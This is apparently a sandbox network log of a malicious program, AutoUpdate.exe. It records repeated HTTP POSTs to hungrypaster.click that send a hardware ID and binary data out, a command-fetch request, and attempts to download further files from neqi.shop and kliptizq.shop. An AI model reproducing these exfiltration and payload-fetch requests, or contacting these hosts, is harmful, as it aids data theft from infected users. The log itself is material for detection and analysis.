Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:23 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9RKTEK6GYZFNUS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8761 Host: hungrypaster.click
2024-12-23 23:30:23 UTC	8761	OUT	Data Raw: 2d 2d 39 52 4b 54 45 4b 36 47 59 5a 46 4e 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 0d 0a 2d 2d 39 52 4b 54 45 4b 36 47 59 5a 46 4e 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 52 4b 54 45 4b 36 47 59 5a 46 4e 55 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 39 52 4b 54 45 4b 36 Data Ascii: --9RKTEK6GYZFNUSContent-Disposition: form-data; name="hwid"5AAC5209B533DD2BEBDC85A9D5F1C6D2--9RKTEK6GYZFNUSContent-Disposition: form-data; name="pid"2--9RKTEK6GYZFNUSContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--9RKTEK6
2024-12-23 23:30:24 UTC	1133	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4elsiv1qk3c2k7f191hdon24rn; expires=Fri, 18 Apr 2025 17:17:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2dmdpjqHa3wcqmUvHkVDu2YyDSIUzXUyy%2BmGcpeAMQ9SYtJDo3D9J6PTV9PUf0d%2FTH5x5jFaRpIx0wAncmuCb%2Fq2F3QiMOPz5bqvzoOFBLUdUCHsTyYFTrOF%2B%2F3wNeV0mdeCVNY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23a26b384277-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2079&min_rtt=2073&rtt_var=791&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9698&delivery_rate=1372825&cwnd=191&unsent_bytes=0&cid=be74f60a2b62e318&ts=842&x=0"
2024-12-23 23:30:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 23:30:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49738	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:25 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JQME7CVGMUZM03D7FW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20438 Host: hungrypaster.click
2024-12-23 23:30:25 UTC	15331	OUT	Data Raw: 2d 2d 4a 51 4d 45 37 43 56 47 4d 55 5a 4d 30 33 44 37 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 0d 0a 2d 2d 4a 51 4d 45 37 43 56 47 4d 55 5a 4d 30 33 44 37 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 51 4d 45 37 43 56 47 4d 55 5a 4d 30 33 44 37 46 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 Data Ascii: --JQME7CVGMUZM03D7FWContent-Disposition: form-data; name="hwid"5AAC5209B533DD2BEBDC85A9D5F1C6D2--JQME7CVGMUZM03D7FWContent-Disposition: form-data; name="pid"3--JQME7CVGMUZM03D7FWContent-Disposition: form-data; name="lid"hRjzG3--ELVIR
2024-12-23 23:30:25 UTC	5107	OUT	Data Raw: 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 Data Ascii: `M?lrQMn 64F6(X&7~`aO
2024-12-23 23:30:27 UTC	1134	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6phha5sa91t60getnpsg95s1ob; expires=Fri, 18 Apr 2025 17:17:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K3RBSNEb3%2Ft20FutP1hOVYRf4csLYuNxLjMLjbKmggAOW88BqTlOxNNDfmyi1q6HfuSCA53HrSG28wKiph0FcdLYptg%2FY5mohsyKFSRmOqqYAw1cYjBuZS3Iz%2BVrB%2BMm04XRNkM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23b06a074270-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1610&rtt_var=617&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21402&delivery_rate=1753753&cwnd=225&unsent_bytes=0&cid=6c2e6a859a1084eb&ts=1288&x=0"
2024-12-23 23:30:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 23:30:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:28 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FMHWLFB8IYCEE User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1245 Host: hungrypaster.click
2024-12-23 23:30:28 UTC	1245	OUT	Data Raw: 2d 2d 46 4d 48 57 4c 46 42 38 49 59 43 45 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 0d 0a 2d 2d 46 4d 48 57 4c 46 42 38 49 59 43 45 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 46 4d 48 57 4c 46 42 38 49 59 43 45 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 46 4d 48 57 4c 46 42 38 49 59 Data Ascii: --FMHWLFB8IYCEEContent-Disposition: form-data; name="hwid"5AAC5209B533DD2BEBDC85A9D5F1C6D2--FMHWLFB8IYCEEContent-Disposition: form-data; name="pid"1--FMHWLFB8IYCEEContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--FMHWLFB8IY
2024-12-23 23:30:29 UTC	1130	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=971ujvvjiqv2pf053leucm8h79; expires=Fri, 18 Apr 2025 17:17:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qaurTfih7FVM7T81vkWf6ax54NiEFDi3j2KzA%2FjW1alDelFe8i5INJNT5U3vjJ%2FNhTpHpCHta8YYilk6UtTqYREswT%2B3tMV5z%2BxmHnrt9YIIyoD4JAMi9BlsVDTR6zofNQ8GUSc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23c1c8dd43dd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1702&rtt_var=645&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2159&delivery_rate=1687861&cwnd=196&unsent_bytes=0&cid=5633a2fa70e36b29&ts=795&x=0"
2024-12-23 23:30:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 23:30:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=5HWOP1K75VMQY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1093 Host: hungrypaster.click
2024-12-23 23:30:30 UTC	1093	OUT	Data Raw: 2d 2d 35 48 57 4f 50 31 4b 37 35 56 4d 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 0d 0a 2d 2d 35 48 57 4f 50 31 4b 37 35 56 4d 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 48 57 4f 50 31 4b 37 35 56 4d 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 0d 0a 2d 2d 35 48 57 4f 50 31 4b 37 35 56 Data Ascii: --5HWOP1K75VMQYContent-Disposition: form-data; name="hwid"5AAC5209B533DD2BEBDC85A9D5F1C6D2--5HWOP1K75VMQYContent-Disposition: form-data; name="pid"1--5HWOP1K75VMQYContent-Disposition: form-data; name="lid"hRjzG3--ELVIRA--5HWOP1K75V
2024-12-23 23:30:31 UTC	1128	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4fis1remme0i47gv6t7mcbjrp4; expires=Fri, 18 Apr 2025 17:17:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8extKxY7dtbviOlMjrH7OyYtKl%2BQfvhwkH3feh2vOVZQRodr1OGn7osf%2F0%2BQRTQlIuDk3YLSY76fQNebgilirgWHqdKye6Y1kebZuhIGFsGwhJFg3JYcWqMtsiCptCX2qqNuVes%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23cf5b6a1869-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1564&rtt_var=596&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2007&delivery_rate=1820448&cwnd=232&unsent_bytes=0&cid=76f2ab9695d7451d&ts=802&x=0"
2024-12-23 23:30:31 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 23:30:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.93.82	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:32 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 115 Host: hungrypaster.click
2024-12-23 23:30:32 UTC	115	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 45 4c 56 49 52 41 26 6a 3d 65 66 64 65 62 64 65 30 35 37 61 31 64 66 33 66 37 63 31 35 62 37 66 34 64 61 39 30 37 63 32 64 26 68 77 69 64 3d 35 41 41 43 35 32 30 39 42 35 33 33 44 44 32 42 45 42 44 43 38 35 41 39 44 35 46 31 43 36 44 32 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ELVIRA&j=efdebde057a1df3f7c15b7f4da907c2d&hwid=5AAC5209B533DD2BEBDC85A9D5F1C6D2
2024-12-23 23:30:33 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 23:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=62912nclr5d79s3mq4vjeudtai; expires=Fri, 18 Apr 2025 17:17:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SZI4OtfDcrSuy04xGpjDt5m7RNy9UO0mUihmfscD%2FTD6ad2%2Br2GHQoBxd41hg9%2FKRCkifLIEzA5jHJg5qi7lzP9FPtpTptwfKHH%2BoHfBI3nwwHvDPh9wUGYIAg93WJgDW1PGV7E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23dc3f3042cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5793&min_rtt=2053&rtt_var=3198&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1018&delivery_rate=1422308&cwnd=252&unsent_bytes=0&cid=209efe1e1c6479ac&ts=784&x=0"
2024-12-23 23:30:33 UTC	218	IN	Data Raw: 64 34 0d 0a 4d 39 38 5a 52 72 77 65 50 55 56 6b 44 36 36 32 59 38 4c 56 76 67 35 6b 79 4a 6d 46 67 6a 55 33 6b 75 42 69 62 53 57 71 36 79 78 6f 70 44 73 7a 6e 69 51 66 4c 52 42 37 33 73 56 5a 6e 76 72 69 49 51 71 74 36 4f 79 73 52 6c 2f 39 6b 44 35 43 56 73 36 4d 52 6b 71 71 62 52 71 54 62 6b 34 74 53 6e 76 57 77 6b 48 75 39 39 68 36 52 76 4b 72 71 61 42 51 46 61 6a 52 48 30 46 65 69 4a 34 4f 43 66 31 78 4d 73 68 75 54 6e 38 34 49 50 4b 5a 43 4b 36 38 7a 6e 6f 4e 73 75 69 72 38 56 31 59 34 72 78 4e 42 45 76 65 74 45 39 66 72 30 59 71 32 47 78 69 4e 67 78 75 67 4d 49 62 74 76 65 53 4c 41 4b 38 75 37 2b 77 47 52 58 33 77 6c 68 63 57 50 63 3d 0d 0a Data Ascii: d4M98ZRrwePUVkD662Y8LVvg5kyJmFgjU3kuBibSWq6yxopDszniQfLRB73sVZnvriIQqt6OysRl/9kD5CVs6MRkqqbRqTbk4tSnvWwkHu99h6RvKrqaBQFajRH0FeiJ4OCf1xMshuTn84IPKZCK68znoNsuir8V1Y4rxNBEvetE9fr0Yq2GxiNgxugMIbtveSLAK8u7+wGRX3wlhcWPc=
2024-12-23 23:30:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	172.67.169.205	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:35 UTC	199	OUT	GET /sdgjyut/psh.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: neqi.shop
2024-12-23 23:30:36 UTC	939	IN	HTTP/1.1 523 Date: Mon, 23 Dec 2024 23:30:36 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: close Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8HHfj04Ll0rxE1WI5s48CneMLbAOt1wbG2OhAxPlwz7UEGC3gPxHiOfIXwVWIfoMqj9wtqtMXCradZFAnWjyirmdPPgLEWVLgRVnYu6zDFLJm63tNIsuFcS%2Bbuo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8f6c23eaa891431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1751&rtt_var=688&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2818&recv_bytes=813&delivery_rate=1556503&cwnd=224&unsent_bytes=0&cid=ca7be9699736cbac&ts=1686&x=0"
2024-12-23 23:30:36 UTC	15	IN	Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 33 Data Ascii: error code: 523

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49745	172.67.191.144	443	6332	C:\Users\user\Desktop\AutoUpdate.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 23:30:38 UTC	207	OUT	GET /int_clp_ldr_sha.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: kliptizq.shop
2024-12-23 23:30:38 UTC	550	IN	HTTP/1.1 403 Forbidden Date: Mon, 23 Dec 2024 23:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IOJNkLw1BJbIvq9Lhfa4c%2FI6%2BLUpKwkXEy2pLSEWa6Apx6dy9psyXqCFtmXbHfyI2c%2FXgcIw9fbtlF1AxD5TcuUn%2Fk6SxpDRvwPFPbWfJoV1qOgVXpdkdBY2MQEG26MX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c23ff083143ee-EWR
2024-12-23 23:30:38 UTC	819	IN	Data Raw: 31 31 64 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11d4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-12-23 23:30:38 UTC	1369	IN	Data Raw: 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 6f 6f 6b 69 Data Ascii: f.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cooki
2024-12-23 23:30:38 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e Data Ascii: <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn
2024-12-23 23:30:38 UTC	1015	IN	Data Raw: 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 Data Ascii: al" class="cf-footer-ip-reveal-btn">Click to reveal</button> 